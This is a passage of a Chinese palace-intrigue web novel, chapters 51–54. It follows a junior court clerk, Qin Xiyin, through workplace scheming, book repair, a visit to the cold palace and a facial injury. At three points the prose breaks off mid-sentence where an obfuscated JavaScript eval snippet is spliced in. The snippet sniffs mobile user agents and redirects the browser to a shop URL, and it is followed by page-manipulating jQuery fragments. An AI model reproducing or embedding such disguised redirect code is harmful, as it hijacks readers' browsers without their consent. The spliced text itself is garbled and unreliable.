如果逢春还生活在乡下,没有进宫当宫女,也许现在已经嫁了人,过着平静而幸福的日子。她日常所能接触到的,都是跟自己差不多的小姐妹,也不会产生失衡的心理。 51. 低调做人 过了一会,陆陆续续又有人来。 今天竟然来了11个宫女,秦惜音只准备了八张书桌,赶紧另外布置三张书桌。 她让最后到来的三个宫女站着等一下,那三个宫女自然没什么意见。 这时,荆掌籍走了进来,皱眉道:“惜音,怎么回事?我不是让你事先把桌椅、纸笔布置好吗?怎么还有人站着?” 秦惜音赶紧说道:“掌籍恕罪,是属下动作太慢了。属下正在准备,马上就好。” 荆掌籍点了点头,走到了讲台上。 秦惜音抓紧布置着书桌,心里又委屈又生气。 刚才明明是荆掌籍说,只需要布置六到八张桌子就好了。 可是,秦惜音又不能当中反驳荆掌籍,只能自己认错。 矮人家一头,就只能这样。 她本来还在想,荆掌籍对自己到底有没有恶意。 也许昨天采购的事,确实是自己花太多钱了,荆掌籍不是故意挖坑给自己跳。只是她的表妹玉秀先开口罚秦惜音了,她也不会驳了表妹的面子。 但经过刚才的事,秦惜音明白了,荆掌籍就是对自己怀有恶意。 她想通过高密度的为难,让秦惜音知难而退,主动退出六尚局。 如果秦惜音是个未经世事的小女孩,可能已经委屈得想走了,甚至走之前还会跟荆掌籍、玉秀等人大吵一架,彻底得罪她们,给自己以后的生活埋雷。 但秦惜音经历的事已经比较多了,更加沉稳一些,也更能经受挫折。 她知道,荆掌籍越是为难自己,代表自己越优秀,连掌籍这样身份的女官,都开始忌惮她了。 她偏不走。 就像高毅给她的纸条上写的那样,守得云开见月明。 反正一个月后,她就是板上钉钉的女官了。 很快,三张桌子布置好了,最后三位宫女也入座了。 荆掌籍开始讲课,秦惜音和玉秀两人侍立左右。 在这些听课的宫女里,有的很认真,也有的在开小差。 她们中的一些人,应该是心血来潮来听课,并不想学会什么。 秦惜音觉得,如果学生不好好学,是对教学资源的浪费。 只是,她现在也做不了什么,只能先暗中记下那些认真的宫女,以后也许跟那些宫女打交道的机会比较多,也更有可能把她们培养成材。 课上到一半时,荆掌籍忽然对秦惜音道:“惜音,我昨天让你准备的试卷呢?” 秦惜音有些惊讶:“什么试卷?” 荆掌籍不耐烦地说道:“昨天晚上,我特意跟你说,让你根据我的教学进度,准备合适的试卷,给今天的学生们做。你怎么忘了?” 秦惜音有些慌张。这种事是没法辩白的,荆掌籍说自己昨天说了这些话,秦惜音有什么证据证明荆掌籍没说? 如果秦惜音辩解,旁边的玉秀一定会帮着荆掌籍说话。到时候,秦惜音就算浑身是嘴,也说不清楚。 当下,秦惜音的脑子转得飞快。 她到底是直接认错,还是现场出几份试卷? 很快,她做出了决定,说道:“荆掌籍,是我忘记了您的吩咐。我可以现场出几份试卷,请您稍等。” 荆掌籍冷笑道:“你的意思是,让这么多学生现等着你出题?她们中的很多人,没有时间上接下来的课,这节课上完就要走了。 等你出完题,她们早就没时间了。” 秦惜音流下了冷汗,但还是带着几分笃定说道:“荆掌籍,我一定给她们留足答题的时间,请允许我现在开始出题。” “行吧,你站在我的位置出题。” “是。” 荆掌籍让秦惜音站在讲台上,给她纸笔。 秦惜音快速思考了一下,荆掌籍这节课讲的是诗词,而且是比较浅显的诗词。 可以推断,以前的课程,内容也都不深。 毕竟,很多小宫女没有文化基础,肯定只能讲一些比较简单的内容。 那她的题目可以往基础的文化常识、诗词背诵方面去靠。 同时,题目不能太多,以免学生们写不完。 可能出五六道题比较合适。 于是,秦惜音出了几道题: 第一题:“昔孟母,择邻处”,“孟母”指的是谁?【注释1】 第二题:以下哪句诗中含有相反词? 一床前明月光,疑是地上霜 二离离原上草,一岁一枯荣 三鹅鹅鹅,曲项向天歌 四劝君更尽一杯酒,西出阳关无故人【注释2】 …… 接下来的几道题,也诸如此类。 她飞快地写好了十一张试卷,并分发下去。 宫女们拿到题目后,开始作答。 秦惜音和玉秀开始巡逻,以保证宫女们都是自己作答,没有作弊。 秦惜音发现,大部分宫女都能答对其中的两三题,这已经很不错了。 而逢春把所有题都答对了,她也是答得最快的,写完之后把试卷放在一边。 终于,等所有宫女作答完毕,这节课还没结束,秦惜音圆满完成了任务。 她把大家的试卷收上来,请荆掌籍批阅。 荆掌籍也说不出什么挑剔的话来,只对宫女们说道:“你们的卷子,稍后我会批阅。等你们下次来听课时,再来领取就可以了。如果有不懂的地方,到时候再问这里的女官或女史。” 宫女们纷纷散去了,只有两三个宫女留下,准备听下一节课。 留下的宫女今天应该比较空,没有太多活。而她们能选择把空闲时间用在学习上,是非常难得的。 像这样的人很少。 所以,秦惜音对这几个小宫女也是比较欣赏的。 逢春没时间听下一堂课,她悄悄问秦惜音:“惜音姑娘,刚才您一直在巡逻,是否看清了我的答案?我想知道,我答对了没有?” 秦惜音笑道:“逢春姐姐,你全部答对了,恭喜你。” 逢春有些惊喜:“太好了,谢谢你……” 逢春十分开心地走了。 这时,留下的几个宫女在闲聊: “哎,不知道这些软垫是谁买的?坐着好舒服啊。” “是啊,我以前来时,这里都没有软垫的。” “冲着这个软垫,我也要多来上几节课。在我自己宫里当差,能坐下的时候都很少,更别提坐在软垫上了。” “是啊,这司籍司越来越吸引人了。咱们今日用的笔墨,也比之前的好上不少。” 秦惜音正要跟她们说话,玉秀却抢着说道:“这些软垫和上好的笔墨,都是荆掌籍买来的,你们要谢就谢她吧。” 这几个宫女纷纷说道:“谢谢荆掌籍,您真是一位好官。” 荆掌籍笑道:“诸位不用客气。” 秦惜音默默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751578|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地干活,也不多嘴。 她忙了一早上,吃了午饭后,回到寝室歇会。 这时,她发现黄莺在喝茶,而且她的茶杯里竟然也有水果干。 秦惜音笑道:“黄莺姐姐,你也喝自制的花果茶?” 黄莺的脸色有些不自然,说道:“是啊……” 秦惜音也被勾起了馋虫,她打开自己的箱子,打算拿一包花果茶来喝。 没想到,她发现自己的花果茶竟然少了十来包。 她以为自己看错了,反复数了几次,都是二十包。而高毅明明给她三十包的…… 她又看向黄莺,没想到黄莺也在看她。 但是,黄莺接触到秦惜音的目光后,又有些心虚地转过了头。 秦惜音皱眉思索,要不要搜查黄莺的箱子,看自己丢失的花果茶是不是在她那儿? 可是,这样做值得吗? 万一不是黄莺偷的,或者就是她偷的,但是她把花果茶藏在隐秘的地方,而不是在箱子里呢? 那说不清楚的反而是秦惜音自己…… 就算拿住了贼赃,黄莺也可以辩解说,这些花果茶是她自己的。 毕竟,那上面也没写名字。 这时,另一个女史桑落凑了过来,问道:“惜音,你怎么了?好像脸色不太好?” 秦惜音勉强笑道:“没什么。” 桑落把花果茶的包装拿过来,问道:“这是什么?我拆开瞧瞧。” 说着,她就自顾自拆开了。 接着,她说道:“原来是花果茶啊……你这些花果茶,怎么跟黄莺喝的那么像?该不会她的花果茶是从你这里偷走的吧?” 秦惜音道:“花果茶也不是什么稀罕物,她有也正常。” “那可不行,你还是去搜一下她的箱子吧。如果她真的拿了,你找到证据,就可以告发她。” “可是,她不是挺有背景的吗?” “这……她有背景也不用怕呀,她做了小偷,就算她姑姑黄典籍来了,也保不住她。” “嗯,你说的有道理。不过,我的花果茶确实只有这几包,没有丢失。” “啊?” 桑落有些惊讶,看了秦惜音好一会儿,才说道:“那……那就再好不过了。我只是怕你吃亏。” “谢谢桑落姐姐的关心。我想,黄莺姐姐应该不至于偷东西吃。” “你别把人想得太好……她就算没偷你的花果茶,也偷过其他人的东西。你得多留个心眼。” “嗯,多谢桑落姐姐提醒。” 桑落欲言又止,回到自己的床位睡午觉去了。 秦惜音感到庆幸,还好自己的钱是随身携带的,否则被黄莺偷去,就亏大了。 倒是桑落,今天好像有些刻意了…… 还是得再观察观察。 她又整理了一下箱子,发现了自己从宫外带回来的一些糕点。 这些糕点本来就是准备分给同僚的,昨天被荆掌籍一通责罚,反而没时间分了。 她想着,干脆把花果茶也分了,只要她这里没吃的,黄莺就偷不到任何东西。 不愧是她,机智。 分掉东西,一来可以结个好人缘,二来可以避免自己吃胖或是吃出病来,毕竟甜点吃多了也不好。 于是,等众女史们都午睡醒来后,秦惜音就把自己的糕点、花果茶按人头分了。 但是,有个人却拒绝了她的食物。 52. 上司赏识 拒绝的人是一位上了年纪的女史,叫连云。 连云看起来三十多岁,长得端庄秀丽,白净的面庞,尖尖的瓜子脸,但面如寒霜,看起来不好亲近。她的头上已经有了白发,不知道为什么。 秦惜音笑着说道:“连云姐姐,大家都吃,您怎么不吃啊?” 连云冷冷道:“我不吃同僚送的东西,你以后也不用给我送。” 虽然连云拒绝得有些生硬,但秦惜音没有翻脸,反而笑道:“好的,是我考虑得不周全了。连云姐姐年长,早过了爱吃零食的年纪。那您的这一份,我就自己留下了。” 连云点了点头,也没说什么,自顾自地看书。 略微休息一会,大家各自有任务,就出去干活了。 秦惜音下午要晒书,她把自己需要晒的书籍拿出来,平铺在庭院的桌子上。 晒好之后,她还要一直留在这里。万一下雨了,就可以及时收走这些书。 她一边看着天气,一边想找点事情做,不浪费时间。 她看见满院子摊开的书籍,就走上前去,找了一本自己感兴趣的书看。 这时,她隐隐约约听到了两个女孩说话的声音。听声音,好像是她认识的人,应该是同寝室的两个女史。 只听她们说道: “哎,那个新来的惜音真会卖好,刚来第二天,就请我们吃东西。像她这样八面玲珑,难怪有前途。听说,她再过一个月就要高升了。” “我看,她应该也是这样贿赂长官的吧?长官们拿了她的礼,才愿意提拔她的。” “不过,她好像有点本事。据说,她在前几天的女官考试里,得了第一,比第二名高出几十分呢。” “这也只是别人这么传,谁知道真假。毕竟卷子我们又看不到,女官们说谁第一,谁就是第一呗。” “那倒是。你说,她哪来的钱买那么多糕点?” “贪污公款呗,还能有什么渠道?你难道没听说,昨天她出去采购,结果钱花多了,被荆掌籍责罚了。我看,她也未必是花多了,而是吃回扣了,故意把价钱往高了报。” “啧啧啧,还得是这种官家千金出身的人有心眼,知道虚报账目,挪用公款,买食物收买人心。像我们这样的老实人,可学不来这种手段。” 秦惜音听得很生气,本想去看看到底是谁在说她,但又怕见了面彼此尴尬。 背后说人的就是小人,一旦小人知道你发现了她的真面目,可能会开始明着针对你。 如果现在装不知道,也许还能维持表面关系。 虽然说女官们同意让秦惜音一个月后升官,但秦惜音现在毕竟还没升官。如果闹出什么跟同僚不和的传闻,对她的前途也不利。 谁人背后无人说,她打算先忍下来。 没想到这时,她突然听见了两声清脆的巴掌声。 接着,一个熟悉而冷峻的声音骂道:“你们吃人家的东西,还在背后编排人家,真是下作。” 秦惜音有些惊讶,借着大树的掩护,悄悄走到发出声音的地方。 原来是女史连云在责骂另两个女史,刚才的声音,应该是连云打了她们两个。 那两个背后说坏话的女史,都是一边脸上红红的,应该是巴掌印。 她们俩被打骂,也不敢吭声,只能低着头。 连云斥责道:“还不快滚?别留在这里,脏了我的眼睛。” 那两个女史赶紧离开了。 秦惜音心中感激,便走了出去,对连云道:“连云姐姐,多谢您帮我说话。” 没想到,连云却冷冷回应:“我不是帮你,你也无需谢我。” 接着,她也离开了。 虽然连云的态度仍然是冷冰冰的,秦惜音却觉得,她是个好人。 在职场中,整天跟你笑嘻嘻、交头接耳的,未必是真朋友,说不定憋着坏;而有些人表面上冷厉,内心却是正直善良的。 秦惜音觉得,连云属于后一种。 连云在司籍司待到三十多岁,还没有升官,也没有出宫,也许她也有一些不为人知的心酸往事。 如今的冷酷大概只是她的铠甲。 秦惜音自从来到这里,接连遇到挫折和阴谋,连云给了她第一份善意。 秦惜音有些感慨,接着去庭院中盯着那些书。 过了一会,她发现有些书有点破损,就想着修复。 她找到了几张跟那些书籍一样的纸,先用毛笔把破损处沾湿,然后翻转到背面,把空白纸张粘贴上去,再沾湿空白纸张。 等空白纸张和旧的书页粘合之后,再把多余的空白纸张撕掉。 如果整张留着,会让纸张变厚。 有些破损的地方非常细小,也需要撕一些比较小的纸,粘贴在背面。 这是个细致活,得有耐心。 她一连修复了几张破损古籍后,忽然有个声音响起:“你会修补古籍?” 秦惜音抬头,见到一位面生的女官。 看这女官的服饰,应该是七品。她看起来三十多岁,面容和善温婉。 秦惜音问道:“您是典籍大人?不知是哪位典籍?” 这女官微笑道:“你猜到我的职位是典籍?” “是。会在司籍司出现的,一般是内部人员。您又穿着七品女官的服饰,所以应该是七品的典籍了。” 女官笑道:“没错,你眼力很好,我是黄典籍。” 秦惜音赶紧朝她行礼。 黄典籍,好像就是黄莺的姑姑。但她看起来面善,跟黄莺不太一样。 黄典籍笑道:“你猜中了我的身份,我也猜猜你是谁……你是新来的惜音?” 秦惜音惊讶:“您怎么知道?属下正是惜音。” “哈哈,其实很简单,司籍司的人我都认识,你是唯一一个我不认识的,那应该就是新来的了。” “原来如此。” 秦惜音觉得黄典籍没什么架子,还挺好相处的。 黄典籍拿起秦惜音修补的古籍看了看,说道:“你修补得很好,以前学过?” “是,属下以前学过一些古籍修补的知识,是跟一位大儒学的。” 黄典籍点头道:“不错。不愧是前宰相之女,果然博学多才。我那儿有一些需要修补的古籍,这几天你就上我那里修补古籍吧。” “但是,荆掌籍那边……” “我会跟她说的。” “是,多谢黄典籍。” 秦惜音喜出望外。她接下来几天跟着黄典籍干活,就可以暂时躲开荆双蝶、玉秀等人了,也能少些是非。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751579|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天,秦惜音就到了黄典籍那里报道。 黄典籍正在修补古籍,见到秦惜音,便笑着说道:“惜音,你来了。不必拘礼了,右边那些古籍,你帮着修补一下吧。缺什么材料跟我说。” “是。” 秦惜音便开始修补古籍,一时间房内很安静,只听见书籍翻动的声音。 修补过程中,秦惜音如果发现书籍中的错误,就跟黄典籍探讨该怎么改。每次秦惜音提出的改法都是对的,黄典籍也越来越赏识她,夸她博学。 过了一会,黄典籍道:“惜音,修补古籍是个体力活,你如果累了,就随时休息,不用一直干活。我这里没这么多规矩,你自便就好。饿了或者渴了,架子上有零食和茶水,自己拿。” “嗯,谢谢黄典籍。” 秦惜音觉得很幸福,黄典籍就像自家长辈一样。不过,她跟黄典籍也是刚刚认识,现在就敞开心扉的话,为时过早。 还有一点她很困惑,就是黄典籍和黄莺完全是两种人。 黄莺占着是黄典籍的侄女,就欺压同僚,占小便宜。秦惜音本以为黄典籍是那种护短、不讲理的人。但今日一见,感觉大相径庭。 也不知道是怎么回事…… 也许,黄典籍并不知道黄莺做的那些事。 以前那些女史们被黄莺欺负,可能不敢来黄典籍这里说,她们会本能地觉得黄典籍和黄莺是一伙的,来人家长辈面前告小辈的状是大忌。 之前秦惜音就是这么想的。 不管怎样,她只相信自己眼睛所看到的。 这时,黄莺兴冲冲地捧着几个鸡蛋,走了进来,说道:“姑姑,我养的鸡今天下了好几个蛋,借你的炉子煮个茶叶蛋。” 黄典籍抬头道:“可以啊,你自己去煮吧。” 这时,黄莺看见了秦惜音,既惊讶又防备地说道:“你怎么在这儿?” 秦惜音道:“我是来帮黄典籍干活的。” “是吗?荆掌籍交代你的任务,你都完成了?” “是,荆掌籍叫我晒书,我已经晒好,收起来了。” “你来我姑姑这里,经过荆掌籍同意了吗?” 黄典籍说道:“黄莺,你不用盘问她,是我叫她来帮我干活的。” 黄莺道:“姑姑,您有什么活?怎么不叫我帮忙?” “修补古籍,你也不会呀。之前我几次要教你,你都不学。” “学这个干什么?就算把古籍修补得再好,也没人看。” “任何书都有可能被人看见,人也是一样。所以,在空闲的时候,就要修补成最佳状态。” 秦惜音品味着黄典籍这句话,若有所思,觉得很有哲理。 但黄莺却不以为然,说道:“姑姑,修补古籍的事我帮不上你,我去煮茶叶蛋了。” “你去吧。” 黄莺走到院子里,拿了几个煤球,把炉子生上火,然后开始煮鸡蛋。 秦惜音正好有些饿了,就起身拿零食吃。 这里刚好有她喜欢的桔红糕,她就多吃了几块。 黄典籍笑道:“原来你喜欢吃这个,这是我自己做的,有一大堆。一会给你带一点回去。” 秦惜音感动道:“谢谢黄典籍。对了,黄莺姐姐养了鸡?我怎么没看见?” 53. 冷宫变化 “司籍司里都是书,不方便养鸡。她的鸡养在尚食局的菜园子里。” “原来是这样。没想到,黄莺姐姐这般爱干净的人,也会养鸡。” “她只是偶尔去看看,那几只鸡基本上都是尚食局的人照看着,倒也不会弄脏。” 尚食局养的动物一般都是为了供给皇家食用,黄莺能在尚食局养自己的鸡,估计也是因为她的身份不同。 秦惜音竟有些羡慕黄莺了。 过了一会,黄典籍问道:“对了,黄莺没有欺负你们吧?” “没有,黄莺姐姐待人和气,我们都喜欢她。” 黄典籍点了点头,就继续干活了。 秦惜音忽然想到,黄典籍以前可能也问过其他女史类似的问题,而那些女史给出的答案,应该都跟秦惜音差不多。 所以,黄典籍很有可能不知道黄莺的行径。 秦惜音也没必要在这时候戳破,以后等自己升官了,找个合适的时机暗示黄典籍就可以了。 接着,黄典籍又跟秦惜音闲聊了几句,问她刚进宫是怎么过的,是从几岁开始读书的,等等。 过了一会,黄莺走了进来,说道:“我煮熟鸡蛋了,一会放茶叶再煮一次。” 她看见秦惜音和黄典籍相谈甚欢,忽然露出了戒备的眼神。 也许她在担心,秦惜音可能会在黄典籍面前说她的坏话。 但是,秦惜音只是和善地看了黄莺一眼,装作没察觉她的敌意。 黄典籍道:“黄莺,你有没有把鸡蛋捞出来放冷水里?” 黄莺道:“哎呀,我忘记了。” “瞧你这记性,连这都能忘。鸡蛋煮好之后要过凉水,这样比较好剥壳。我帮你过凉水吧。” “谢谢姑姑。” 黄典籍走了出去,帮忙继续煮茶叶蛋。 屋子里只剩下黄莺和秦惜音两人。 黄莺小声说道:“惜音,你虽然在我姑姑这里干活,但什么话该说,什么话不该说,你应该明白的。” “黄莺姐姐放心,我知道分寸。黄典籍问起您的事时,我都说您的好话。” “嗯。” 黄莺也不干活,走到博古架前,随手抓了两把零食吃。 过了一会,她突然问道:“对了,你有没有觉得……你的东西少了?” 秦惜音道:“我从宫外带回很多吃的,没有仔细数过,就分给大家了。少没少,我也不知道。” “哦……” 黄莺还是有些心虚。 秦惜音知道她为什么心虚,但也不准备点破。 黄莺又吃了一会零食,突然走到秦惜音身边,给了她一百文钱,说道:“我突然想起,昨天托你带东西,忘了给钱,这一百文给你。” 秦惜音有些惊讶,但还是接了过来,说道:“谢谢……不过,那几包食物一共124文。” 黄莺面色尴尬,道:“你记错了吧?反正我自己买,会讲价到100文的。下次你也记得讲价。” 秦惜音没说什么。 她买糕点的时候,老板报价是130文,她讲价了,老板才勉强给了124文的价格,还说不能再便宜了。 黄莺说自己只花了一百文就能买到那些食物,要么是说谎,不想补足剩下的数;要么买的是质量没那么好的食物;要么就是她搬出自己官员千金的身份来压人,让老板不得不继续降价。 反正,不管怎么样,黄莺是绝不可能把钱补足了。 秦惜音也不计较,黄莺能突然给她一百文,已经是意外之喜了。 也不知道黄莺是良心发现了,还是什么原因。 这时,黄莺又说道:“我觉得……你人还不错。不过,你得小心桑落。” 秦惜音皱眉:“桑落?她怎么了?” “她偷偷告诉我,你的箱子里有很多花果茶,刚好是我喜欢的那种,暗示我去偷拿。我才不是那种人,反正我没拿……总之,你小心她就是了。” “嗯,谢谢黄莺姐姐。” 看来,黄莺虽然爱占小便宜,但也不算很坏。她大概觉得自己让秦惜音太吃亏了,又是让秦惜音买东西却不给钱,又是偷拿了秦惜音的花果茶,所以想卖她一个消息,让自己减轻一点愧疚。 而秦惜音心中,对黄莺和桑落也有了更深的了解。 桑落果然不是那种心直口快、毫无城府的人。她先是挑拨秦惜音跟黄莺的关系,又挑拨秦惜音和荆掌籍、玉秀的关系,还鼓励秦惜音越级上告。 如果秦惜音真的中了桑落的圈套,不管结果是秦惜音吃瘪还是其他人吃瘪,对桑落来说都是一件好事,她的竞争对手会因此而减少。 而秦惜音没有上套,桑落就在暗中鼓动黄莺偷秦惜音的花果茶,指望着秦惜音和黄莺大闹一场。 但桑落没想到,这件事,秦惜音也不动声色地忍了下来。 看来,秦惜音猜测得没错。像黄莺这种在明处的敌人不难防,难防的是桑落这种心思多、在暗处布局的人。 好在秦惜音经过历练,有一定的城府,没有一来就中圈套。 否则,怎么死的都不知道。 这小小的司籍司,也太复杂了。 还有那两个吃了秦惜音的零食,还在背后议论秦惜音的女史,也不是什么好人…… 秦惜音只觉得举步维艰。 她来司籍司之前,满以为这里掌管书籍,应该是一个比较简单的部门。 但是她没想到,简单的是书,复杂的是人。 无论在哪个部门,只怕都免不了勾心斗角的事。 而黄莺刚才告诉她要提防桑落,究竟是良心发现,单纯提醒秦惜音,还是想暗中鼓动秦惜音跟桑落斗起来? 黄莺应该没有这么复杂的心思,但也不好说…… 秦惜音有些头疼。她竟有些怀念在冷宫管事的日子。 冷宫里有很多疯子、傻子,看着很可怕,但实际上不疯不傻的人做出来的事,更让人心惊。 秦惜音表面上装作若无其事,心里却有些灰心。 很快,茶叶蛋煮好了,黄典籍让秦惜音一起吃。 秦惜音吃了一个,觉得很美味,心情也变好了。 复杂的心情,可以用简单的美食治愈。 不过,这毕竟是黄莺的茶叶蛋,秦惜音知道她计较,也不会多吃。 吃完之后,秦惜音就起身告辞了。 趁着这会有空,她回到了冷宫。 没想到,冷宫外面没人把守,里面却传来一阵动听的歌声。 秦惜音走了进去,见许多人围坐在地上,中间有一个太妃在唱歌。 坐在地上的人,有废妃,也有宫人。 唱歌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751580|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太妃姓钱,秦惜音对她还有印象。 秦惜音也走到人群中,坐了下来。众人认出了她,都非常开心,只是没有说话,怕打扰钱太妃唱歌。 钱太妃唱的是前朝的古曲:“采莲南塘秋,莲花过人头。低头弄莲子,莲子清如水……”【注释1】 她虽然年纪大了,但声音并不苍老,反而有一种成熟的风韵。她唱得很有感情,让人仿佛通过歌声,回到了莲花盛开的江南水乡。 众人听得如痴如醉,谁也舍不得发出声音。 一曲唱罢,钱太妃又换了一首曲子。 等唱累了,她才停下。 众人纷纷说道:“钱太妃唱得真好。” “是啊,明天我还要听你唱歌。” “钱太妃真厉害。” 秦惜音刚才听了钱太妃的歌声,好像烦恼也减轻了许多。 钱太妃走到秦惜音身边,问道:“惜音姑娘,你好几天没过来了,怎么今天想着过来一趟?” “哦,我忙完了,又有点想大家了,所以就来了。钱太妃,您怎么突然唱起歌来?” 钱太妃笑道:“我想起我年轻时练过唱歌,现在没事做,就继续练习了。练了几天后,大家都说好听,今天就聚在一起,专门听我唱歌,我挺开心的。以前我还是先帝的妃嫔时,总想着唱歌给先帝听,用歌声来争宠。 但我现在觉得,歌声应该用于表达自己的心灵,而不是用来争宠。当我回归内心的纯净时,我的歌声也能让其他人感到喜悦。” 秦惜音感慨道:“钱太妃,您说得真好。” “哈哈,我只是随便说说。” 秦惜音环顾四周,发现原先的疯子里,有一部分人已经不疯了,眼神清明,还能安静坐着听曲。 剩下的疯子被大家关起来了,以免她们出来伤人,或是做什么不可控的事。 但是,剩下的那些疯子,也在逐渐好转。太医开的药,她们一直有在吃。 一切都在向好的方面发展,秦惜音竟在冷宫里发现了蓬勃的生机。 负责种菜的宫女东风说道:“惜音姑娘,我前段时间在冷宫发现了几棵荠菜,就采集了荠菜种子,专门种下,现在已经可以收获了。你要吗?” 秦惜音来了兴趣:“好啊,我跟你去摘。” 秦惜音来到冷宫的田地,这块田地不大,所以能种的菜也不多。 秦惜音拔了十几颗荠菜,说道:“这些够我包饺子了,其他的我就不拔了。” 东风道:“嗯,你若是还想吃,可以随时过来拿。” 秦惜音把荠菜包好,往前院走去,却碰见了冷宫的主管福公公。 福公公笑道:“惜音,你今天回来,是不是有事?我看你面色不太好。” 秦惜音道:“没什么,我最近就是遇到一些事,想找人聊聊……” “如果你不嫌弃我这个老头子的话,就去前面的凉亭聊聊吧。我回屋拿点心和茶水。” “嗯。” 点心和茶水拿来后,秦惜音随便吃了两口。 接着,她把自己最近遇到的烦恼都告诉了福公公。 说完后,秦惜音感慨道:“福公公,我虽然进了司籍司,但一切都跟我想的不一样。仅仅是第一天,我就差点被赶走。我还见识了人性的复杂。我现在怀疑,自己能不能胜任这种生活。” 54. 脸颊受伤 福公公笑道:“这很正常。你现在虽然不算女官,只是女史,但地位相当于官府里的小吏。小吏的地位已经远远超过了平民百姓,也远远超过了罪奴。越往上走,竞争就越激烈。 专心做事的人少,勾心斗角的人多,你习惯了就好。只要你有真本事,也不是那么容易被人赶走的。 你只需要沉下心来,做好每一件小事。” 秦惜音豁然开朗:“多谢福公公的指导。” “哈哈,我这也不算指导,只是随口说说。我以前也是内侍省的小官,因为被同僚排挤,再加上我自己也厌恶那种环境,所以自请调任到冷宫,一晃也这么多年了。 惜音姑娘,你很有才华,也很有志气,一定会前途无量的。” “谢谢福公公……” 经过跟福公公的一番交谈,秦惜音觉得心情轻松了很多,也更有信心了。 万事开头难,只要她继续干下去,说不定就得心应手了。 接下来的日子,秦惜音就按照福公公所说的,专注于做好每一件事,不理外界的是非。 慢慢地,她的心也沉静了下来。 桑落有时候还会暗示秦惜音去跟其他人斗,秦惜音只当做没听懂,还天天一口一个“桑落姐姐”的叫着,把桑落也叫得没办法。 荆掌籍、玉秀等人也时不时地为难秦惜音。但对秦惜音来说,这都不是事。 荆掌籍叫秦惜音做比较难的事,秦惜音都能完成。 这天,轮到秦惜音去尚食局拿众人的午饭。 两个地方相隔不远,秦惜音很快就走到了。 她的好友松月笑着跑过来,叫道:“惜音,又见面了!” 松月穿着围裙,头发也用一块蓝色的头巾完全包裹起来,手上还拿着铲子。 看来,她是从厨房跑过来的。 她现在已经升为八品掌膳,是正式的女官了,也可以给主子们做菜了。 秦惜音笑道:“你该不会是炒菜炒一半就跑出来了吧?” 松月道:“没有,我已经炒完了一道菜,下一道菜还要等一下。惜音,你是来拿你们司籍司的午饭的?” “嗯。” “我帮你去拿,你在这里等一下。” 松月又跑回了厨房。 秦惜音在院子里闲逛,忽然有几只鸡从西边的墙后飞出来,直扑秦惜音。 秦惜音猝不及防,赶紧往旁边躲,没想到这几只鸡却穷追不舍,飞起来攻击秦惜音。 秦惜音匆忙之下,只好用手挡住脸。 可是,她却觉得后脑勺一阵疼痛,好像被啄了。 她又赶紧护着后脑勺,这时,有一只鸡朝她脸上划了几道,她觉得脸上热辣辣的疼,不知道伤势如何。 她大喊大叫,终于引来了其他人帮忙。 大家合力把几只鸡给按住,那几只鸡还在扑腾,但挣脱不了。 有个力气大的女史把这几只鸡拎起来,装进一个厚实的麻袋里,然后把麻袋的口给封上。 这样,暂时没什么问题了。 这时,有人害怕地看着秦惜音道:“这位姑娘,你的脸……” 秦惜音也惊了,赶紧摸了摸脸上的伤口,摸到很多血。 她尽量保持镇定,问道:“我伤势如何?有镜子吗?” 有个女史掏出一枚小镜子,递给秦惜音。 秦惜音这才看见,自己右半边脸流了很多血,看起来很骇人。 她立刻拿出一块手帕,简单擦拭了一下血迹,这才看清,她脸上有三道划痕。 其中两道较浅,第三道较深,只怕以后至少会留下一道疤痕。 秦惜音心下一沉,想起破相者不能当女官的规矩。 难道,自己的女官之路,还没开始就要结束了? 但现在不是想这些的时候,还是赶紧治伤比较好。 松月听见了动静,也跑了出来。她发现受伤的是秦惜音,有些慌乱,赶紧扶着她坐在石凳上,安慰道:“惜音,你别担心,这只是皮外伤。我们尚食局就有女医,我已经派人去请了。” 秦惜音点了点头,暂时稳住心神。她深呼吸了几次,告诉自己不要慌,船到桥头自然直。 镇定下来之后,她才发现,其实伤口也不算很痛,她能忍得了。只是,伤口在脸上,有点吓人而已。 过了一会,司药司来了一位女史,她赶紧替秦惜音处理伤口。 她先用清水冲洗秦惜音脸上的伤口,然后又用药酒清洗了一遍。 秦惜音觉得很疼,只能忍着。 然后,这位女史用一块干净的丝绸用力按压在秦惜音的脸上,进行止血。 按压了一会后,女医说道:“你有一道伤口比较深,最好用针线缝合一下,但是会很疼。不缝合,等它慢慢长好也可以,但可能疤痕会更深一些。” 秦惜音问道:“如果缝合了,就不会留疤吗?” “两道浅的划痕,可能不会留疤。但这道深的,大概率是会留疤的,你要做好心理准备。现在缝合的话,只是会让疤痕细一点而已。” 